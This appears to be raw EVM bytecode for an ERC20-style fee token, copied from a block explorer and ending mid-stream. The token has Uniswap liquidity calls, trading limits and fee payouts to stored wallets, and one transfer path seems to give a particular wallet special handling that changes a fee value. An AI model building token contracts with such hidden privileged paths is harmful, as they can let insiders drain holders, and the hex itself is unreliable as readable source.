851115620007665781600019048211156200074a576200074a6200070f565b808516156200075857918102915b93841c93908002906200072a565b509250929050565b6000826200077f57506001620004af565b816200078e57506000620004af565b8160018114620007a75760028114620007b257620007d2565b6001915050620004af565b60ff841115620007c657620007c66200070f565b50506001821b620004af565b5060208310610133831016604e8410600b8410161715620007f7575081810a620004af565b62000803838362000725565b80600019048211156200081a576200081a6200070f565b029392505050565b6000620004ac60ff8416836200076e565b8082028115828204841417620004af57620004af6200070f565b6000826200086b57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004af57620004af6200070f565b600060208083528351808285015260005b81811015620008b55785810183015185820160400152820162000897565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a0516121586200090a600039600081816102ca01526109780152600081816103bb01526109b301526121586000f3fe6080604052600436106102815760003560e01c8063852614851161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a014610793578063dd62ed3e146107a9578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a8b08982146106d5578063a9059cbb146106f5578063c5d2418914610715578063c86079521461072b578063c867d60b14610741578063da00097d1461077157600080fd5b80638ea5220f116101135780638ea5220f1461064257806395d89b411461066257806398e944c8146106775780639fdeb0f914610697578063a457c2d71461069f578063a7251ef6146106bf57600080fd5b806385261485146105a957806388790a68146105c95780638a8c523c146105df5780638b42507f146105f45780638da5cb5b1461062457600080fd5b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb1461050557806370a082311461051b578063715018a614610551578063751039fc146105685780637d1db4a51461057d57806382eefb431461059357600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf1461049f5780635342acb4146104b557806359927044146104e557600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b506010545b6040519081526020016102af565b34801561037f57600080fd5b5061036560165481565b34801561039557600080fd5b506103246103a4366004611e1d565b610903565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e957600080fd5b5061036561096e565b3480156103fe57600080fd5b5060085460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611df1565b610a01565b34801561044057600080fd5b5061032461044f366004611e5e565b600d6020526000908152604090205460ff1681565b34801561047057600080fd5b50601d54610324906301000000900460ff1681565b34801561049157600080fd5b50600b546103249060ff1681565b3480156104ab57600080fd5b5061036560195481565b3480156104c157600080fd5b506103246104d0366004611e5e565b600c6020526000908152604090205460ff1681565b3480156104f157600080fd5b506003546102ec906001600160a01b031681565b34801561051157600080fd5b5061036560135481565b34801561052757600080fd5b50610365610536366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561055d57600080fd5b50610566610a37565b005b34801561057457600080fd5b50610566610aba565b34801561058957600080fd5b5061036560125481565b34801561059f57600080fd5b50610365601c5481565b3480156105b557600080fd5b50601d546103249062010000900460ff1681565b3480156105d557600080fd5b5061036560175481565b3480156105eb57600080fd5b50610566610af1565b34801561060057600080fd5b5061032461060f366004611e5e565b600f6020526000908152604090205460ff1681565b34801561063057600080fd5b506000546001600160a01b03166102ec565b34801561064e57600080fd5b506004546102ec906001600160a01b031681565b34801561066e57600080fd5b506102a2610b2a565b34801561068357600080fd5b506005546102ec906001600160a01b031681565b610566610b39565b3480156106ab57600080fd5b506103246106ba366004611df1565b610dfa565b3480156106cb57600080fd5b5061036560115481565b3480156106e157600080fd5b506002546102ec906001600160a01b031681565b34801561070157600080fd5b50610324610710366004611df1565b610e49565b34801561072157600080fd5b5061036560155481565b34801561073757600080fd5b5061036560185481565b34801561074d57600080fd5b5061032461075c366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077d57600080fd5b50601d5461032490640100000000900460ff1681565b34801561079f57600080fd5b5061036560145481565b3480156107b557600080fd5b506103656107c4366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156107fb57600080fd5b50610365601b5481565b34801561081157600080fd5b50610566610820366004611e5e565b610e56565b34801561083157600080fd5b50610365601a5481565b34801561084757600080fd5b50601d5461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611063565b5060015b92915050565b6000610910848484611187565b50610963843361095e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611690565b611063565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600960205260408120546109fc906109f66109ed7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526009602052604090205490565b601054906116ca565b906116ca565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061095e9086611004565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b8152600401610a6190611eee565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610ae45760405162461bcd60e51b8152600401610a6190611eee565b6010546012819055601355565b6000546001600160a01b03163314610b1b5760405162461bcd60e51b8152600401610a6190611eee565b600b805460ff19166001179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610a6190611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc09190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610d8b816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610db196959493929190611f40565b60606040518083038185885af1158015610dcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df49190611f7b565b50505050565b60006108f9338461095e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611690565b6000610963338484611187565b6000546001600160a01b03163314610e805760405162461bcd60e51b8152600401610a6190611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a61565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f52575060006108fd565b6000610f5e8385611fbf565b905082610f6b8583611fd6565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a61565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170c565b6000806110118385611ff8565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a61565b6001600160a01b0383166110c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a61565b6001600160a01b0382166111265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a61565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a61565b6001600160a01b03831661124f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a61565b6001600160a01b0384166000908152600c602052604090205460ff1615801561129157506001600160a01b0383166000908152600c602052604090205460ff16155b156112de57600b5460ff166112de5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a61565b6001600160a01b0384166000908152600c602052604090205460ff168061131d57506001600160a01b0383166000908152600c602052604090205460ff165b1561134a57611343848484611332888861173a565b61133c5785611793565b6000611793565b9050610967565b6001600160a01b0384166000908152600f602052604090205460ff1615801561138c57506001600160a01b0383166000908152600f602052604090205460ff16155b80156113a05750601d5462010000900460ff165b15611408576012548211156114085760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a61565b306000908152600960205260409020546011548110801590819061142f5750601d5460ff16155b801561145457506001600160a01b0386166000908152600d602052604090205460ff16155b80156114695750601d546301000000900460ff165b1561149057601d54640100000000900460ff16156114875760115491505b61149082611895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546114e2918690611690565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061152f57506001600160a01b0386166000908152600c602052604090205460ff165b6115435761153e878787611a50565b611545565b845b601d54909150610100900460ff16801561157857506001600160a01b0386166000908152600e602052604090205460ff16155b15611605576013546115a9826115a3896001600160a01b031660009081526009602052604090205490565b90611004565b11156116055760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a61565b6001600160a01b0386166000908152600960205260409020546116289082611004565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167c9085815260200190565b60405180910390a360019350505050610967565b600081848411156116b45760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c1848661200b565b95945050505050565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611690565b6000818361172d5760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c18486611fd6565b6002546000906001600160a01b03838116911614801561176757506004546001600160a01b038481169116145b801561177b57506001600160a01b03831615155b80156109675750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546117e4918490611690565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546118139084611004565b6001600160a01b03851660009081526009602052604081209190915582900361183d576103e8601a555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188291815260200190565b60405180910390a3506001949350505050565b601d805460ff19166001179055601c54601b546000916118b59190611004565b905060006118d060175460145461100490919063ffffffff16565b905060006118eb60185460155461100490919063ffffffff16565b90506000611906600261190086818988610f40565b90610fc2565b9050600061191486836116ca565b90504761192082611b56565b600061192c47836116ca565b9050600061194561193e886002610fc2565b89906116ca565b9050600061195a60026119008481878d610f40565b905060006119818361190061197a601a548c610f4090919063ffffffff16565b8790610f40565b90506000611993826109f687866116ca565b905081156119d7576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119d5573d6000803e3d6000fd5b505b8015611a19576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a17573d6000803e3d6000fd5b505b600083118015611a295750600088115b15611a3857611a388884611ce9565b5050601d805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611a9457611a8d6064611900601b5486610f4090919063ffffffff16565b9050611ad2565b6001600160a01b0384166000908152600d602052604090205460ff1615611ad257611acf6064611900601c5486610f4090919063ffffffff16565b90505b8015611b4c5730600090815260096020526040902054611af29082611004565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b439085815260200190565b60405180910390a35b6116c183826116ca565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b8b57611b8b61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c089190611f23565b81600181518110611c1b57611c1b61201e565b6001600160a01b039283166020918202929092010152600154611c419130911684611063565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7a908590600090869030904290600401612078565b600060405180830381600087803b158015611c9457600080fd5b505af1158015611ca8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cdd9291906120b4565b60405180910390a15050565b600154611d019030906001600160a01b031684611063565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d419230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611f7b565b5050505050565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b813561096781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b815161096781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f9057600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176108fd576108fd611fa9565b600082611ff357634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156108fd576108fd611fa9565b818103818111156108fd576108fd611fa9565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561206d5781516001600160a01b031687529582019590820190600101612048565b509495945050505050565b85815284602082015260a06040820152600061209760a0830186612034565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120cd6040830184612034565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220aa4550fe43028cc571c4f0215ecb6469a4afd461af5a0cdcfd3d1218f00cf09764736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063852614851161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a014610793578063dd62ed3e146107a9578063f0cd1dac146107ef578063f2fde38b14610805578063f680f79914610825578063f872858a1461083b57600080fd5b8063a8b08982146106d5578063a9059cbb146106f5578063c5d2418914610715578063c86079521461072b578063c867d60b14610741578063da00097d1461077157600080fd5b80638ea5220f116101135780638ea5220f1461064257806395d89b411461066257806398e944c8146106775780639fdeb0f914610697578063a457c2d71461069f578063a7251ef6146106bf57600080fd5b806385261485146105a957806388790a68146105c95780638a8c523c146105df5780638b42507f146105f45780638da5cb5b1461062457600080fd5b80633ecad271116101f35780636c0a24eb116101ac5780636c0a24eb1461050557806370a082311461051b578063715018a614610551578063751039fc146105685780637d1db4a51461057d57806382eefb431461059357600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf1461049f5780635342acb4146104b557806359927044146104e557600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a261085a565b6040516102af9190611d8b565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611df1565b6108ec565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b506010545b6040519081526020016102af565b34801561037f57600080fd5b5061036560165481565b34801561039557600080fd5b506103246103a4366004611e1d565b610903565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103e957600080fd5b5061036561096e565b3480156103fe57600080fd5b5060085460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611df1565b610a01565b34801561044057600080fd5b5061032461044f366004611e5e565b600d6020526000908152604090205460ff1681565b34801561047057600080fd5b50601d54610324906301000000900460ff1681565b34801561049157600080fd5b50600b546103249060ff1681565b3480156104ab57600080fd5b5061036560195481565b3480156104c157600080fd5b506103246104d0366004611e5e565b600c6020526000908152604090205460ff1681565b3480156104f157600080fd5b506003546102ec906001600160a01b031681565b34801561051157600080fd5b5061036560135481565b34801561052757600080fd5b50610365610536366004611e5e565b6001600160a01b031660009081526009602052604090205490565b34801561055d57600080fd5b50610566610a37565b005b34801561057457600080fd5b50610566610aba565b34801561058957600080fd5b5061036560125481565b34801561059f57600080fd5b50610365601c5481565b3480156105b557600080fd5b50601d546103249062010000900460ff1681565b3480156105d557600080fd5b5061036560175481565b3480156105eb57600080fd5b50610566610af1565b34801561060057600080fd5b5061032461060f366004611e5e565b600f6020526000908152604090205460ff1681565b34801561063057600080fd5b506000546001600160a01b03166102ec565b34801561064e57600080fd5b506004546102ec906001600160a01b031681565b34801561066e57600080fd5b506102a2610b2a565b34801561068357600080fd5b506005546102ec906001600160a01b031681565b610566610b39565b3480156106ab57600080fd5b506103246106ba366004611df1565b610dfa565b3480156106cb57600080fd5b5061036560115481565b3480156106e157600080fd5b506002546102ec906001600160a01b031681565b34801561070157600080fd5b50610324610710366004611df1565b610e49565b34801561072157600080fd5b5061036560155481565b34801561073757600080fd5b5061036560185481565b34801561074d57600080fd5b5061032461075c366004611e5e565b600e6020526000908152604090205460ff1681565b34801561077d57600080fd5b50601d5461032490640100000000900460ff1681565b34801561079f57600080fd5b5061036560145481565b3480156107b557600080fd5b506103656107c4366004611e7b565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b3480156107fb57600080fd5b50610365601b5481565b34801561081157600080fd5b50610566610820366004611e5e565b610e56565b34801561083157600080fd5b50610365601a5481565b34801561084757600080fd5b50601d5461032490610100900460ff1681565b60606006805461086990611eb4565b80601f016020809104026020016040519081016040528092919081815260200182805461089590611eb4565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611063565b5060015b92915050565b6000610910848484611187565b50610963843361095e856040518060600160405280602881526020016120d6602891396001600160a01b038a166000908152600a602090815260408083203384529091529020549190611690565b611063565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600960205260408120546109fc906109f66109ed7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b031660009081526009602052604090205490565b601054906116ca565b906116ca565b905090565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916108f991859061095e9086611004565b6000546001600160a01b03163314610a6a5760405162461bcd60e51b8152600401610a6190611eee565b60405180910390fd5b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610ae45760405162461bcd60e51b8152600401610a6190611eee565b6010546012819055601355565b6000546001600160a01b03163314610b1b5760405162461bcd60e51b8152600401610a6190611eee565b600b805460ff19166001179055565b60606007805461086990611eb4565b6000546001600160a01b03163314610b635760405162461bcd60e51b8152600401610a6190611eee565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bde9190611f23565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611f23565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610c9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc09190611f23565b600280546001600160a01b039283166001600160a01b03199182161782556001805485851690831681178255306000818152600a602090815260408083209483529381528382206000199055865488168252600d8152838220805460ff199081168717909155875489168352600e82528483208054821687179055965488168252600f90529190912080549094168217909355600580549092163317909155549091169063f305d719903490610d8b816001600160a01b031660009081526009602052604090205490565b60008033426040518863ffffffff1660e01b8152600401610db196959493929190611f40565b60606040518083038185885af1158015610dcf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df49190611f7b565b50505050565b60006108f9338461095e856040518060600160405280602581526020016120fe60259139336000908152600a602090815260408083206001600160a01b038d1684529091529020549190611690565b6000610963338484611187565b6000546001600160a01b03163314610e805760405162461bcd60e51b8152600401610a6190611eee565b6001600160a01b038116610ee55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a61565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f52575060006108fd565b6000610f5e8385611fbf565b905082610f6b8583611fd6565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a61565b600061096783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061170c565b6000806110118385611ff8565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a61565b6001600160a01b0383166110c55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a61565b6001600160a01b0382166111265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a61565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111ed5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a61565b6001600160a01b03831661124f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a61565b6001600160a01b0384166000908152600c602052604090205460ff1615801561129157506001600160a01b0383166000908152600c602052604090205460ff16155b156112de57600b5460ff166112de5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a61565b6001600160a01b0384166000908152600c602052604090205460ff168061131d57506001600160a01b0383166000908152600c602052604090205460ff165b1561134a57611343848484611332888861173a565b61133c5785611793565b6000611793565b9050610967565b6001600160a01b0384166000908152600f602052604090205460ff1615801561138c57506001600160a01b0383166000908152600f602052604090205460ff16155b80156113a05750601d5462010000900460ff165b15611408576012548211156114085760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a61565b306000908152600960205260409020546011548110801590819061142f5750601d5460ff16155b801561145457506001600160a01b0386166000908152600d602052604090205460ff16155b80156114695750601d546301000000900460ff165b1561149057601d54640100000000900460ff16156114875760115491505b61149082611895565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600990915291909120546114e2918690611690565b6001600160a01b038716600090815260096020908152604080832093909355600c90529081205460ff168061152f57506001600160a01b0386166000908152600c602052604090205460ff165b6115435761153e878787611a50565b611545565b845b601d54909150610100900460ff16801561157857506001600160a01b0386166000908152600e602052604090205460ff16155b15611605576013546115a9826115a3896001600160a01b031660009081526009602052604090205490565b90611004565b11156116055760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a61565b6001600160a01b0386166000908152600960205260409020546116289082611004565b6001600160a01b0380881660008181526009602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061167c9085815260200190565b60405180910390a360019350505050610967565b600081848411156116b45760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c1848661200b565b95945050505050565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611690565b6000818361172d5760405162461bcd60e51b8152600401610a619190611d8b565b5060006116c18486611fd6565b6002546000906001600160a01b03838116911614801561176757506004546001600160a01b038481169116145b801561177b57506001600160a01b03831615155b80156109675750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526009909152918220546117e4918490611690565b6001600160a01b0380871660009081526009602052604080822093909355908616815220546118139084611004565b6001600160a01b03851660009081526009602052604081209190915582900361183d576103e8601a555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161188291815260200190565b60405180910390a3506001949350505050565b601d805460ff19166001179055601c54601b546000916118b59190611004565b905060006118d060175460145461100490919063ffffffff16565b905060006118eb60185460155461100490919063ffffffff16565b90506000611906600261190086818988610f40565b90610fc2565b9050600061191486836116ca565b90504761192082611b56565b600061192c47836116ca565b9050600061194561193e886002610fc2565b89906116ca565b9050600061195a60026119008481878d610f40565b905060006119818361190061197a601a548c610f4090919063ffffffff16565b8790610f40565b90506000611993826109f687866116ca565b905081156119d7576003546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119d5573d6000803e3d6000fd5b505b8015611a19576004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a17573d6000803e3d6000fd5b505b600083118015611a295750600088115b15611a3857611a388884611ce9565b5050601d805460ff1916905550505050505050505050565b6001600160a01b0383166000908152600d6020526040812054819060ff1615611a9457611a8d6064611900601b5486610f4090919063ffffffff16565b9050611ad2565b6001600160a01b0384166000908152600d602052604090205460ff1615611ad257611acf6064611900601c5486610f4090919063ffffffff16565b90505b8015611b4c5730600090815260096020526040902054611af29082611004565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b439085815260200190565b60405180910390a35b6116c183826116ca565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611b8b57611b8b61201e565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611be4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c089190611f23565b81600181518110611c1b57611c1b61201e565b6001600160a01b039283166020918202929092010152600154611c419130911684611063565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c7a908590600090869030904290600401612078565b600060405180830381600087803b158015611c9457600080fd5b505af1158015611ca8573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cdd9291906120b4565b60405180910390a15050565b600154611d019030906001600160a01b031684611063565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d419230928992600092839216904290600401611f40565b60606040518083038185885af1158015611d5f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d849190611f7b565b5050505050565b600060208083528351808285015260005b81811015611db857858101830151858201604001528201611d9c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611dee57600080fd5b50565b60008060408385031215611e0457600080fd5b8235611e0f81611dd9565b946020939093013593505050565b600080600060608486031215611e3257600080fd5b8335611e3d81611dd9565b92506020840135611e4d81611dd9565b929592945050506040919091013590565b600060208284031215611e7057600080fd5b813561096781611dd9565b60008060408385031215611e8e57600080fd5b8235611e9981611dd9565b91506020830135611ea981611dd9565b809150509250929050565b600181811c90821680611ec857607f821691505b602082108103611ee857634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f3557600080fd5b815161096781611dd9565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f9057600080fd5b8351925060208401519150604084